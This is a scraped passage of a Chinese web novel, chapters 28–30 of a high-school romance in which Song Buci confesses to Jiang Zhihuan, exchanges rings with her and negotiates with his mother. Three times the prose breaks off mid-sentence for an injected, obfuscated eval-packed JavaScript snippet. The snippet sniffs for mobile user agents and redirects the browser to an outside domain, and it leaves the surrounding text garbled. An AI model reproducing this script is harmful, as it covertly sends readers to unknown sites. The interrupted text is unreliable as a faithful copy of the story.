“一个了解你的机会。” 姜知幻终于扭头,看了他眼。 宋不辞慢腾腾地将一枚戒指戴在左手中指上,他开口,嗓音温和,像是在讲睡前故事,“你下午说‘那三个字也不是真心的’时,我思考了很久。” “我奶奶曾经说过,两个人的感情出现问题时,99%的原因是没有好好沟通。” 姜知幻:“剩下的1%呢?” “源于背叛和不合适。” 姜知幻若有所思地看着他的侧脸。 “我想,我们应该好好沟通一次。”宋不辞把链条揣进兜里,面向她站着,“但不急,我现在有更想说的话。” “姜知幻,我喜欢你。” “可以跟我交往吗?” 姜知幻的视线从他手中的戒指,一点一点地攀爬上他的脸,没有惊讶,没有慌乱,也没有紧张。她平静地接受着,平静地对视着。 或许外人看来,这份过度的平静,应该是对表白的人无感。但只有姜知幻知道,只有她能感觉到,两人的心跳越走越近。 周遭变幻的柔光落在两人身上,底下的喧闹声不停,月亮依然抬头可见,整个世界的运作如常。 除了当事人,这场无人知晓的告白,唯有风在催促。 “宋不辞,你会永远陪在我身边吗?” 晚风扬起少女的发尾,她眉眼弯弯,笑得像只引人入彀的漂亮妖精。 其实答案不重要,月亮只有一个,月亮只能是她的月亮。 所以,无论如何,他都必须永远陪在她身边。 不过,宋不辞永远会回应。 “我会陪你,岁岁年年。” 他说着,将另一枚戒指放到她的手心。 姜知幻瞅了眼地球的图案,而后戴上,尺寸正好吻合。她抚摸着戒指,脑海里冒出一段之前与崔苏木的对话。 ——没人可以试图抓住林叶缝隙间透出的光,并据为己有。 ——那我应该怎么办? ——去感受,去拥抱。 姜知幻牵住宋不辞的手,没把人拽到跟前,而是挪动脚步凑近他,薄唇轻勾,声音不轻不重地说了两个字,“可以。” 宋不辞眼睫轻颤,心跳不已,随即嘴角抑制不住地上扬。他回握住姜知幻的手,并抱住她。 “那说好咯,等你想好好沟通的时候就告诉我,我随时奉陪。” “好。” 28. Chase “我说,你已经盯着手机屏幕傻笑半小时了。” 宋理枝无语地撇嘴,看宋不辞那副笑得一脸不值钱的表情,目露嫌弃。 爱情果然能冲昏头脑。 连他表哥竟然都未能幸免。 “温馨提示,在你关机期间,姑姑给我发的消息已经是一年的量了,现在开始电话轰炸。”宋不辞抬头,冲他晃了晃自己的手机屏幕。 来电人:宋遂愿 宋家起名是有讲究的,准确来说是奶奶容希善比较讲究,老太太始终认为名字与人的命运息息相关。 比如她的子女,哥哥叫宋无恙,妹妹叫宋遂愿,便是希望两人此后的人生里,一个无病无难,一个称心如愿。 不过,徐情当初觉得宋无恙追她时太擅用花言巧语,所以给儿子起名宋不辞。 不善言辞的不辞。 希望他别跟宋无恙一样油嘴滑舌的,嘴笨点也挺好。 奈何宋不辞辜负了他妈的期望,那张嘴笨不了一点,因此,自我介绍时从来都说是“不辞而别”的不辞,很有自知之明。 而宋理枝出生那年,是父母最相爱的时候,由此,他的名字也带有几分浪漫色彩。 在天愿作比翼鸟,在地愿为连理枝。 “你接还是我接?”宋不辞问他。 宋遂愿这通电话摆明了是来问宋理枝的下落,他正好在旁边,接不接是早晚的事。 宋理枝没法,拿过手机接通,“喂,妈。” “嗯,回来了。” “我哥在,没事。” “彪叔也在。” “……好。” 宋理枝犹豫半秒,把手机还给宋不辞,后者看一眼手机屏幕,对方没挂断。 “姑姑。”宋不辞喊了声。 “你们现在在哪儿?”女声冷厉,和徐情的说话口吻别无二致。 宋不辞看着窗外的建筑,“刚过嘉华大桥。” “不辞,平安从小就爱跟着你玩,我拗不过他,但也只是担心他的人身安全。” “同样的错不能犯第二次,你懂吗?” 宋不辞轻“嗯”一声,语气温和:“我懂姑姑,你放心,我会把他安全送回家。” 宋理枝听见“安全”二字,心里就泛起一股说不清道不明的苦涩,他唇角微压,沉默无言地扭过头面向窗。 通话结束。 宋不辞点开新消息,顿时弯眸。他的低笑声和宋理枝的声音同时响起。 “你别……” 宋理枝心烦意乱地抓了下头发,又觉得自己不配说这些话。因为他也曾拿着和宋遂愿手中一样的刺,无情地扎向表哥。 宋不辞撩起眼皮看了下宋理枝,不知是不是猜到他心中所虑或想说的话,总之没问那后半截未说出口的内容,而是边敲字边漫不经意道:“我想做一款游戏。” 姜郎不才尽:晚安 姜郎不才尽:男朋友 serendipity:晚安 serendipity:明天见 “你是单纯地想做一款游戏,还是打算往这个方向发展?”宋理枝问得细致。 他表哥喜欢玩游戏,他是知道的,不过真想往此方面发展,不仅没有听说过,而且最主要这是一件不被允许的事。 毕竟宋不辞目前所做的一切,都是在帮家里人巩固和扩展利益,徐情也将他成年后的事规划得明明白白,首先便是高考志愿,学校要最好的,专业必须是金融学。 她的安排,不需要宋不辞喜欢,只需要他照做。 宋不辞放下手机,头往后一靠,双目轻阖,散漫的腔调带着措置裕如的意味,“我妈她,一定会同意。” 不是“会同意”,而是“一定会同意”。 他从来不做没把握的事。 宋理枝眼中闪过一丝讶异,不是因为宋不辞突然想要跟徐情叛逆一下,他其实从来没掩饰过自己的我行我素,只是在很多事上都懒得计较。 但宋理枝头一回在宋不辞身上看到了决绝的野心,他不再打算对家里人百依百顺,他会为达目的、不择手段地往上爬。 这把双刃剑,能利用好的人少之又少,而现在,宋不辞打算好好利用自己了。 宋理枝越想越觉得不可思议,“就因为她?” 长达近九年得过且过的心态,就因为喜欢上一个人,说改变就改变? “这有什么大惊小怪的。”宋不辞睁开眼,懒洋洋地笑了下,说,“最开始,关于她的所有,我都是从别人口中听来的。” 他人口中,有关姜知幻的描述褒贬不一,她到底是怎样的人,宋不辞只想亲自了解。 “后来,跟她接触得越久,我就越喜欢,越喜欢就越觉得配不上,所以我得往上爬啊。” “但我的改变,有一小部分不是因为她。” 宋不辞注视前方,眼低凝聚起一股化不开的深沉,“平安,我有时候会想,我是不是错把顺从当成了一种赎罪的方式。” “但如果不这样,我又应该如何赎罪呢?”他又问,声音很轻很轻,就像一个迷茫彷徨的少年人在倾诉。 可他也本就是个少年。 驾驶位的卓彪通过后视镜,默不作声地看了宋不辞一眼。 车厢内霎时安静下来。 良久,宋不辞听见了球的声音。 “你看,你就是个自私自利的人,把这种问题抛给受害者,你想过他的感受吗?” 宋不辞眉心微蹙,因它的话语陷入了反思。 “你不需要赎罪。”宋理枝忽地开口,打断他的思绪,语气缓了缓,“哥,你不需要,向任何人赎罪。” “你像以前那样就好。” 总笑得没心没肺,遇上事又总是游刃有余。 - “幻姐,上午发的物理写没?咱俩对对答案。”范洋拿着物理卷小跑过来。 期中考的紧逼下,各科试卷和答题卡跟不要钱似地发,相较备战月考,强度更是提高了一个档次。 姜知幻用笔头指了指手下压着的试卷,“正准备写,你可以等宋不辞回来问他要,他做完了。” 宋不辞去小卖部买糖了,他说今天动脑过度,需要吃点甜的放松放松。 “你帮我掏一下他桌肚里的物理卷子,我不敢。”范洋说着,又冲门口张望的两个女生摆摆手,“不在不在,温玉不在。” 运动会结束后,温玉来学校的频率便大幅减少。 姜知幻疑惑,“为什么?” “老宋不喜欢别人碰他的东西。”范洋解释,随即眼珠转溜了下,笑得贼兮兮的,“不过你俩关系好,你拿他肯定不会说什么,求你了幻姐,江湖救急,夏哥睡死了,我也不敢叫醒他。” 试问,谁听到这种话,心里不会揣摩自己在对方心里的份量原来这么重? 范洋打心底佩服自己这招,为了老宋的幸福,这个月老他当定了。 姜知幻半信半疑,倒不是揣摩份量问题,而是据她观察,宋不辞貌似并不介意这种小事,如果他不在,等他回来时告知一声即可。 不过她受不了范洋的死缠烂打,弯身,找宋不辞的物理试卷。 宋不辞的桌肚内不算乱,估计这两天没时间整理,所有试卷和答题卡都混在一起,一时不好分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545211|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辨。 姜知幻索性全拿出来,翻了两下,找到试卷递给范洋。 “小弟谢过!”范洋接过。 反正都拿出来了,姜知幻顺便将那叠散乱的答题卡和试卷分类整理。 范洋见状,纳闷道:“幻姐,你是处女座?” “不是,我是水瓶。” “那你一定是有强迫症。”范洋瞄了眼她的桌肚,更加确定了自己的猜测,“放眼整个班,像你这种收拾这么整齐的人不多了。” “?” “收拾没多久就会乱,干脆任它自由发展。” 姜知幻“噢”了声,没兴趣在这个话题上进行下去,她拿起一张答题卡,无意瞥见一行字。 ——抓紧,别松手 第一次周考的作文题目,李净秋给的满分。 姜知幻的目光在那五个字上停留,视线忍不住往下移,她看得认真,以至于完全没注意归来的某人。 “在看什么?” 宋不辞微俯身,脑袋靠近她的脑袋,声音听起来有些含糊不清。 后面的范洋眼睛都看直了,完全傻愣在原地,心说老宋这货还挺会,贴上去都不带犹豫的! 姜知幻毫无防备,被吓了一跳。她松开手中的答题卡,拍拍自己扑通扑通跳动的心脏,有些心有余悸道:“你飘过来的吗?” “我没想到你看得这么入神。”宋不辞直起身,嘴里叼着根棒棒糖,懒散地垂眼,看她下意识的小动作,笑。 “老宋,你的物理试卷我借走了,待会下课还你。”范洋说。 作为合格的月老,要懂得留二人空间。 宋不辞应了声“行”,随即坐下,继续看姜知幻。她将理好的试卷和答题卡放到他桌上。 “怎么突然整理起这些了?”宋不辞问。 “范洋说你不喜欢别人碰你的东西,所以让我帮忙拿卷子。”姜知幻用笔尖指了下他,又看了眼那一叠,“顺手的事。” 宋不辞还在琢磨范洋那句话,“我不喜欢别人碰我的东西?” 原来他在范洋眼里是这么小气一人? “这我不清楚,不过……”姜知幻看着他,眼角弯弯,语气略带轻佻,“他还说,我俩关系好,我拿你肯定不会说什么。” “这倒是句实话。”宋不辞不假思索道,从兜里摸出一枚戒指,套进姜知幻手中握的笔。 戒指与笔杆相撞,发出清脆声响。 姜知幻垂眸,认出是他之前戴过那款铂金素戒。 “你到底有几对戒指啊?”她问。 “就两对。”宋不辞说,“你手上戴的是我奶奶托人设计的,这款是我爷爷买的。” 姜知幻眸光微动,取下笔杆上的戒指,拿在手里没戴,不明所以道:“都给我?” “我爷爷奶奶说过,一对是订婚戒,一对是结婚戒。如果以后遇上决定要共度终身的女孩子,就把这两枚送给她。” 姜知幻的眼睛一眨不眨,久久盯着戒指,直到眼眶泛酸,才问:“你确定不会后悔?” “永远不会。”宋不辞说。 共度终身。 这四个字,在十七八岁的年纪来谈,实在有些遥远,抑或是浪漫过头。 但宋不辞会想方设法地去套牢姜知幻。 不管是真心也好,玩玩也罢。他认定她了,便绝不是泛泛空谈,如果分手,那他也会跟她每时每刻都纠缠不清。 姜知幻眼底浮现出愉悦的笑意,直接将戒指戴进右手中指。 无论是共度终身,还是永远不会。四个字听起来都太令人心动了。所以,宋不辞,你可一定要说话算数啊。 29. Chase 范洋最近有点反常。 第一次察觉到时,是在体育课上。 跑完圈,老师让自由活动。 大多同学去体育室借器材,小部分坐在看台处,手里都拿着个记有知识点的小本本,埋头苦背。 冯潇潇翻开单词本,将写有中文意思的部分遮挡住,一个个英文看下去,嘴里念念有词,语气越来越愤然:“这个有点眼熟,这个好像也见过,什么意思来着?靠,这些单词怎么在我脑袋里溜达一圈就走了?” “潇潇,你记单词不能急躁。”韦枫玥安慰。 齐思点点头,“要冷静。” “冷静冷静,calmdown,calmdown.”冯潇潇抓抓头发,自我催眠片刻,突然扭头问她俩,“快看看,我头发油不油?” “不油。” “真的?那中午不洗了。” 冯潇潇越看越烦,根本背不进去单词,见其他两人都很认真,不好打扰。于是她歪头,靠在什么都没带的姜知幻的肩膀上,问:“中午吃什么?” 姜知幻摇头,“不知道,没想好。” 说完,忽地发觉诸如此类的对话发生过好多次。 这就像课桌上越堆越多的试卷,黑板上密集的课程,或考试前需要把书搬至长廊侧边,有些同学会去小卖部买空纸箱来放书本一样寻常。 而姜知幻也渐渐融入其中,忙碌、平淡、普普通通。 “诶,问你个事。”冯潇潇支棱起脑袋,指着她手上戴的戒指,眼睛又往羽毛球上一划,小声道,“你跟他,是不是在一起了?” 姜知幻顺着她示意的眼神看过去,那边,宋不辞正和夏闲打羽毛球,实力不相上下,有来有回。 “你猜猜?”姜知幻故意卖关子道。 自从确定关系后,她和宋不辞没对任何人声张过,但熟悉宋不辞的,单看两人手上的戒指便心知肚明,比如夏闲和温玉。 “怎么从你嘴里就撬不出一句有用的话呢?”冯潇潇吐槽。 姜知幻收回视线仰头,笑了下,神情惬意,“今天天气不错。” 天空碧空如洗,簇簇白色云朵下像是加了层无形的阴影,清晰而立体。 “是挺不错。”冯潇潇附和道,随即立马机灵地看向她,“你别想试图转移话题!” 姜知幻无奈地耸耸肩,本来也没想瞒着,大大方方地托盘而出道:“在一起了。” 平地炸起一声雷。 “啊?什么时候?真的假的?!”冯潇潇满脸不可置信加激动,快速抛出三连问。 姜知幻在“继续逗她”和“让她信任”中选择了前者,胡话张嘴就来:“假的。” “告诉你个秘密,其实他是我前男友。”她朝冯潇潇凑近些,低声道。 “???” “!!!” 冯潇潇张目结舌,咽了咽口水,半天吐不出一句完整的话。 这个秘密,可太特么劲爆了。 沉默半晌,冯潇潇一副信以为真的模样,郑重地拍拍她的肩,说:“你放心,我嘴巴最严了,保证守口如瓶,拿真金白银都诱惑不出来。” 姜知幻没想到她竟然这么好骗,欲要说出真相时,一阵猥琐的笑声传来。 “嘿嘿嘿。”范洋走过来,笑得傻兮兮的,“幻姐,你们在说啥呢?” 冯潇潇拧眉,狐疑地看着他,“你不是跟他们打羽毛球吗,过来干嘛?” “他们嫌我菜,不带我玩了。”范洋委屈地摊摊手,落座到姜知幻旁边,强行挑起话题,“幻姐,你觉得老宋怎么样?” 姜知幻转着无名指上的戒指,不冷不热地瞧了他眼,“有事?” “没事,我就随便问问。”范洋挠挠头,干笑两声,望向宋不辞,生硬地发起第二次进攻,“要我说,老宋这人,适合当男朋友。” 姜知幻:“……” 我知道。 冯潇潇看他的眼神越发古怪,“你想放什么屁?” “你看看你看看,这小伙子各方面都很优秀,成绩没得喷,高中没掉出过前三,初中更是在年级第一的位置住下了。”范洋自顾自地说着关于宋不辞的美言,“颜值我就不用多说了吧,男女老少通吃,人见人爱,花见花开,车见车爆胎呀,对吧幻姐?” 冯潇潇嘴角抽搐,“你头被夹了?还是中哪门子邪了?难不成……是宋不辞派你来的?” 她说完最后一个猜测,认真思考了下并确信无疑,绝对是宋不辞能干出来的事。 想挽回前女友却不好意思当面说,所以托范洋这个好骗的二货来当媒婆。 短短几分钟,冯潇潇已经脑补出以姜知幻和宋不辞为主角的一部爱恨情仇狗血伦理剧。 她轻啧一声,心说拥有的时候不好好珍惜,失去了又后悔莫及。 范洋不好明面跟冯潇潇解释,便没接话,只饱含期待地看着姜知幻,眼里写满了“快认同我”四个大字。 姜知幻顺着他的意思,低“嗯”了声,想听听他到底要表达什么情感。 范洋一拍大腿,立即乘势而上,“身高184,腿长110,宽肩窄腰,穿衣显瘦脱衣有肉,双商在线,温柔体贴会照顾人,还年轻。我要是女生,肯定会被这狗东西迷得神魂颠倒!” 冯潇潇:“没有腹肌?” “你别打岔。”范洋冲她挤眉弄眼地摆摆手,又问姜知幻,“幻姐,我们老宋不错吧?” 姜知幻微眯眼看他,默然少时,说:“你怎么……” - 隔天晚饭时间,学校天台。 姜知幻没什么胃口,没去食堂。 这两天她写卷子都快写吐了,一下课就往教室外面跑,毫无目的,单纯暂时不想面对桌上那堆卷子。 姜知幻还是第一次觉得,趴在走廊上吹吹风,看看天的感觉蛮不错。也是在这时,她有点怀念以前可以自己排课表的日子了。 宋不辞看出她的心浮气躁,带她来了天台。 “他怎么知道你脱衣有肉?你露过?” 姜知幻将昨天下午的事简略说了遍,边问,视线边有意无意地往某人身上瞟。 宋不辞闻言,慢悠悠地撩起眼皮看她,“我是那么随便的人吗?” 说完,又补一句:“我很守节操的好吧。” 天台上的防护栏杆是纯白色,齐腰的高度。 姜知幻背靠栏杆,拨弄着手链上的平安扣,打趣道:“难道他看上你了?” 平时偶尔聊几句话的人,这两天疯狂向她提起宋不辞,实在令人匪夷所思。 傍晚的风带着秋末的凉意,吹乱宋不辞额前的碎发。他照着她的问题往下想,装模作样地反思道:“原来我这么有魅力?” “怎么没有?”姜知幻的语速不紧不慢,尾音还多了些许玩味的笑意,“这么多年,我只对你动过谈恋爱的念头。” “只对我有感觉?”宋不辞微微一怔,也不知道脑子里在想什么,嘴里突然哼起了歌,“无解的眼神心像海底针……” 哼得还挺好听。 “宋不辞,你怎么这么好玩。”姜知幻被他逗得眼泪都差点笑出来,好一会儿才解释,“我只是觉得范洋的反常太可疑,如果不是看上你了,那就是想撮合咱俩。但,为什么突然想撮合?” 宋不辞想了想,把之前对范洋坦白自己喜欢她的事交代清楚。 “难怪。”姜知幻了然,看了眼两人手上的戒指,“这还不明显吗?” “范洋有点神经大条,除非你现在当着他面说你喜欢我,不然只觉得你跟我关系好,把我当男闺蜜。”宋不辞笑笑,他和范洋是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14581963|145538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初中认识的,这人单纯仗义还有点傻气,所有心思都写在脸上,很容易看透,“戒指在他眼里就是个时尚单品,不会仔细观察。” “这性格跟潇潇挺像,不过潇潇比他聪敏点。” 至少通过戒指猜到了正确答案,就是姜知幻满脑子坏心思,喜欢逗人玩,几句话把人家的思路带偏。 在这一点上,其实宋不辞和她挺相像。 姜知幻转身,双臂搭在上面,望着眼前的景象,忽然明白宋不辞为什么带她来这儿了。 日影斜沉,微云舒卷。远方的粉紫霞光漫染整片天空,一群飞鸟振翅而过,剪影优美。 持续整天的紧绷状态彻底松弛下来,姜知幻闭了闭眼,享受风吹鼓衣服的感觉,浑身舒畅。 是值得记录的时刻。 她转过身,摸出兜里的手机,打开前置摄像头,然后看了他眼。 宋不辞秒懂,主动往姜知幻身边凑近,右手自然而然地搂住她的肩,左手横拿过手机,伸长手臂,边调整角度,边询问她意见。 准备好后,两人看着镜头,屏幕闪烁了下,画面停留。 这是两人相识以来的第一张合照。 “竖着拍一张吧。”姜知幻抬手,抓住搭在右肩那只手的指尖晃了晃。 她扭头,扬起下巴看着他的侧脸,双眸清亮,仿佛装着永不熄灭的星,“我想用来当壁纸。” “好。”宋不辞依言而行,缱绻的语气里含着笑意,感觉到指尖的晃动,低头朝她看去。 目光触及的刹那,风止了又起,心脏皆乍然一颤。两人都发觉距离有些过于近了。 如果姜知幻下巴再抬高一点,或者宋不辞的头再压低一点,便能吻上对方。 拇指无意识地轻点了下屏幕。 第二张合照就此定格。 “拍好了。”宋不辞装作不经意地别过头,把手机递给她,说,“记得发我一份。” “好。”姜知幻翻看了下两张图片,发现第二张中,不仅宋不辞的耳朵红了,她也是。 她揉了揉耳垂,给宋不辞发了第一张,然后换掉壁纸。 “就一张?”宋不辞长按图片保存,问。 姜知幻收起手机,转身,倒退着走,脚步轻盈,“你猜猜我的手机密码是多少?对了就发给你。” 她红唇轻扬,直勾勾地看着他,笑得狡黠。 … 周考照常进行。 收到前排传递下来的条形码,姜知幻撕到一半,手上动作顿住,冷不丁看向宋不辞。 刚涂黑一个“C”的宋不辞:“?” 试卷早发,答题卡晚发,在这期间,他已经做出了第一道选择题。所以拿到答题卡时,他先涂了答案,连姓名考号都没填。 他顺着她的视线,看了眼自己的答题卡,有些摸不着头脑。 难不成做错了? 班内静谧,只有窗外树叶相撞发出的窸窣声响。 姜知幻拿着条形码,嘴唇一张一合,无声地说了句话。 ——换着考试试? 周考已经不在各科老师的评讲范围之内了,管的不严,算是开胃小菜。成绩出来后,老师会把答案给课代表,然后由课代表写在黑板上,让大家核对。 错了的题问其他对了的同学,如果有全班都错了且没人解出来的题,那么课代表便会汇报给老师。但这种情况在补习班里还没出现过。 宋不辞眉梢轻动,冲她扬了扬下巴,显然是对这个提议饶有兴趣。 ——来啊。 笔在指间转了两圈停住,得到明确答复,姜知幻撕下了他的条形码,贴在自己桌面摆放的答题卡上。 宋不辞看着贴在自己答题卡上、她的条形码。 一场顺理成章的交换,没有第三个人知道。 30. Chase 一天中最令人开心的时刻来临。 整栋教学楼躁动一片。 时隔一个多月,宋不辞再次在放学后送姜知幻回家。他下午就给彪叔发过消息,告知晚上不用来接。 可卓彪还是来了,车停在校门口最显眼的位置。毕竟顶头上司是徐情,得依照她的意思办事,该做的样子得做。 至于宋不辞要不要上车,他不会管。 卓彪需要钱,不能丢这份工作,那宋不辞想法子帮他保住;而宋不辞需要的自由,卓彪睁一只眼闭一只眼地给他,帮他瞒着徐情。 两人隔着车窗互看一眼,宋不辞冲他笑了下,无声地说了“谢谢”两字,随即收回视线,抬手拦下一辆出租,拉开后座车门,让站在身旁的少女先上。 卓彪看着前方出租车慢慢驶入车流,直至消失不见,正准备拉下手刹,却听见后座车门被打开,有人弯身钻进。 在车门“嘭”地合上时,他抬眼,通过后视镜看见一双狭长的眼睛,右眼角下有痣。 这人卓彪知道,是宋不辞从小玩到大的兄弟,话时多时少,偶尔会来蹭车。还有个叫温玉的,是位年少成名的歌手。 同时载三人的情况,卓彪碰到过一次。除了觉得吵闹,没其他想法。 卓彪的手搭在手刹上,没动。 “彪叔,来都来了,干脆捎我一程吧。”夏闲的语气带着几分哀求,“拜托了,便利店兼职要是迟到会被扣工资的。” 印象中,这三个小屁孩的家境优越,吃穿不愁,闲得蛋疼才会去便利店干兼职,尤其是这个年纪、这个时间点。 卓彪见他表情真诚,没问什么,也没把人赶下车。他目视前方,松下手刹。 “谢了彪叔,下次见面,请你喝酒。”夏闲洒脱一笑,露出两颗尖尖的虎牙,模样看着挺阳光的。 卓彪瞅了眼后视镜,仍是那副不言苟笑的表情,却破天荒地接过话头:“啤的白的?” … 离目的地还有段距离,两人下了车。 起因是姜知幻随口的一句“要不我们散会儿步”,宋不辞点头,说做就做,直接让司机师傅在前面的路口停。 两人沿着人行道徐徐前行,凉风习习,拂过发丝。 “江城的秋冬来得挺晚。” 姜知幻望着道路旁的树,枝叶在夜色渲染下呈现出一种浓重的墨绿色。京城这个时候,没凋落也起码黄了大半。 “年年都这样。”宋不辞伸手去碰她的手,“冬天来得猝不及防,一下子就降温了。” “所以你更喜欢夏天?”姜知幻感觉到指腹相触,然后指尖被握了下,又放开,慢慢十指相扣,最后手被揣进了他的兜里。 很暖和。 宋不辞看了她眼,声音轻而温和:“对啊,秋冬来得太晚了。” “那春天呢?” “春天像电影。” 姜知幻不解,“电影?” 宋不辞低声重复了遍,“嗯,电影。” 好吧,他这么说总有他的道理。 姜知幻没有不依不饶地追问,好看的眼眸弯起,意有所指地说:“忽然发现,我还挺喜欢散步的。” 宋不辞勾唇,揣在兜里的手也不太安分,捏了捏她的指尖。 他没有解释,主要是原因太矫情了,不好意思开口。 他和姜知幻,一个生于春天的序幕,一个生于春天的帷幕。就像一部关于春天的老电影,进度条从片头缓缓地走到片尾,彼此便组成了一轮完整的春。 看似连接紧密,实则从未谋面。于是,缘分安排两人在夏天相遇。 秋冬太晚,春天像电影,而夏天刚刚好,他和她也刚好有缘分。 小区门口,路灯下。 同样的位置,同样的影子,不同身份。 宋不辞牵着姜知幻的手,垂眼看地面上的两道影子,嘴角不自觉上扬。 有关联了。 “笑什么?”姜知幻顺着他的视线落脚处看去。 “没什么,就是觉得我们的影子挨得挺近。”宋不辞松开她的手,正打算道别,却被打断。 姜知幻低头,在手机屏幕上点了两下,反问:“近吗?” 宋不辞看向她,紧接着听见她说了两个字。 “别动。” 宋不辞安静地注视着那双月刃似的眼睛,一笑又成了月亮。 夜幕低垂,车道上无白日那般喧嚣,几只飞蛾在路灯下盘旋、义无反顾地冲撞,发出滋啦响,致使光线闪烁,明明灭灭。 姜知幻挪了下脚步,地上的影子也随之变动。她偏头凑近他,平视前方,轻抬下巴。 “咔嚓。” 拍照声响起时,宋不辞的眼睫轻颤了下。 “这才算近。”姜知幻举起手机,将拍好的照片给他看。 宋不辞低眉敛目,喉结微动。 照片中,两道薄薄的影子紧紧相依,明知是错位,但在这里,它们不偏不倚、实实在在地吻上了。 现实中一触即分的瞬间成了永恒。 独属于他的影子错位吻。 哎,女朋友太会撩了怎么办?照片也拍得好看。 宋不辞正想着,眼前的手机忽地息屏,根本不给他多瞧两眼的时间。 姜知幻收起手机,就这么不言不语地看着他,嘴角上扬,促狭的笑意中带着丝丝勾引的意味。 “等着吧。”宋不辞盯着她手里的手机,散漫的口吻难得有了认真的情绪,“你的手机密码我迟早破了。” 姜知幻不搭腔,只说:“明天见,晚安。” “晚安。”宋不辞说完,停顿了下,又多加了两个字,“闺蜜。” 姜知幻没来由地想起了自己曾说过的话。 ——“那明天见,男闺蜜。” 啧啧。 他一定是故意的。 这男朋友不仅幼稚还记仇。 宋不辞看着姜知幻走进小区,和门口的保安打了个招呼,直到她的背影消失在视野中,这才摸出手机,从联系人列表中找到“徐情”二字,不紧不慢地拨出去。 他依旧站在原地没动,望着每栋楼亮着的星星点点的灯光,好半晌,电话接通。 宋不辞开口,嗓音温凉如水。 “喂,妈。” “最近有空吗?想跟你商量个事。” … 跨过霜降,日子如流水般在跑。 期中考一过,宋不辞终于等到徐情约定见面的消息。 “老宋,你陨落了啊,从十月最后那场月考后,再也没当过年级第一。”范洋的手臂勾上宋不辞的肩,感叹道,“见你考过太多次第一,现在没当了还有点不习惯。” 月考后换过座位,总体变动不大,姜知幻坐到了靠窗位,而范洋跟宋不辞隔了一条走廊,下课时不时就来找他聊天打闹一下。 范洋的同桌是秦六佑,前桌是冯潇潇。 “那场月考我也不是第一。”宋不辞纠正道。 范洋茫然地“啊”了声。 宋不辞和姜知幻相视一笑,没有多做解释。 这算是两人之间的小秘密。 “某人不是誓死不坐最后一排吗?怎么……”宋不辞瞥了眼他的座位,表情已说明一切,无需多言。 范洋推搡了下他的肩,飞快地偷瞄了眼冯潇潇,然后凑近他耳边,话语里多少带了点咬牙切齿的意味,“我肯定是被你小子影响了,你追人连带我也开始不正常起来。” 他最近看到冯潇潇,心里总是既想靠近又不太敢靠近。这种感觉太奇怪了,意识到后觉得非常别扭,太不像他了! 他跟冯潇潇只是死党啊!关系非常好的死党,仅此而已! 姜知幻收拾完,见范洋贴在宋不辞耳边说悄悄话,抿了抿唇角,整个人往背后的墙壁上一靠,抱臂看着。 “嗯嗯,都是我的影响。”宋不辞语气敷衍拖拉,抬手把他推开了,漫不经心地笑道,“说话就说话,别贴这么近,不知道的还以为我跟你有点什么呢。” 姜知幻:“……” “有你大爷,净说些令人倒胃口的话。”范洋嫌恶地白了宋不辞一眼,抬头,冷不丁撞上姜知幻冷淡的目光。 他咽了咽口水,莫名感到一股来自正宫的压迫是什么情况?! 范洋摇摇头,心说一定是最近胡思乱想多了,脑袋都不灵光了,而且老宋压根还没把人追到手。 宋不辞转头看向姜知幻,“走吧。” “嗯。”姜知幻微微颔首,垂下手臂。 … 与姜知幻分开后,宋不辞打车回了清水居。 自从那晚和徐情通完电话,他都在容希善送的那套江景房住,仿佛那儿才是他真正的家,哪怕家里没有一个亲人。 “听说你谈恋爱了,成绩貌似也一直上不去,甚至连家都不回。” 徐情今天的穿着简约干练,白衬衣配黑色老钱风马甲,阔腿西装裤。 她端坐在沙发上,听语气不像是随口一提,眼底透着不易捉摸的从容淡定,仿若百忙之中抽空来看他两眼。 宋不辞认真起来时的模样随她,但大多时候都是散漫不着调的,像宋无恙年轻时候。而徐情其实不太喜欢这点。 “妈。”宋不辞喊了声,将一杯温水放到她面前。 徐情并非不知道宋不辞最近的所作所为,相反,他甚至明目张胆地让卓彪直接汇报,他谈恋爱了,和他同桌。 徐情也不急着跟他算账,喝了口水,开门见山道:“说吧,找我什么事?” “关于任行的股份。”宋不辞坐到她对面的位置,手臂抵着膝盖,慢悠悠道。 任行,容希善和宋明创立的公司,国内互联网科技龙头企业之一。 徐情的眼神多了分疑惑与探究,静心等待他的后文。 单看这副画面,不会让人联想到母子,而是两位精明的谈判者。 “拿这个换我的自由,应该不亏吧?”宋不辞问。 徐情仅在瞬间便理解过来,她手中握着的这把双刃剑,不肯听话了。 她神情淡然,说:“奶奶给你留的那份遗产,是有要求的,你别忘了你还没达到。” “但除了刘律,你们都不知道她留的要求,不是吗?”宋不辞唇边勾起一抹浅浅的弧度,笑里有着少年人的骄矜和成年人的游刃有余,“可我知道。” “你?”徐情正视他。 “嗯。”宋不辞靠着沙发背,坐姿越发随性起来,却是一副打算谈心的模样,“妈,这些年来,我都在按着你的要求行事,虽然偶尔会让你失望,但从未损失过你的利益不是吗?” 徐情眼神如刀,狠准快地剜了他眼,冷笑出声:“六年前的事能叫偶尔失望?” 这件事仿佛是两人之间的沟通横梁,永远绕不开。 六年前,宋不辞十一岁,宋理枝七岁。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 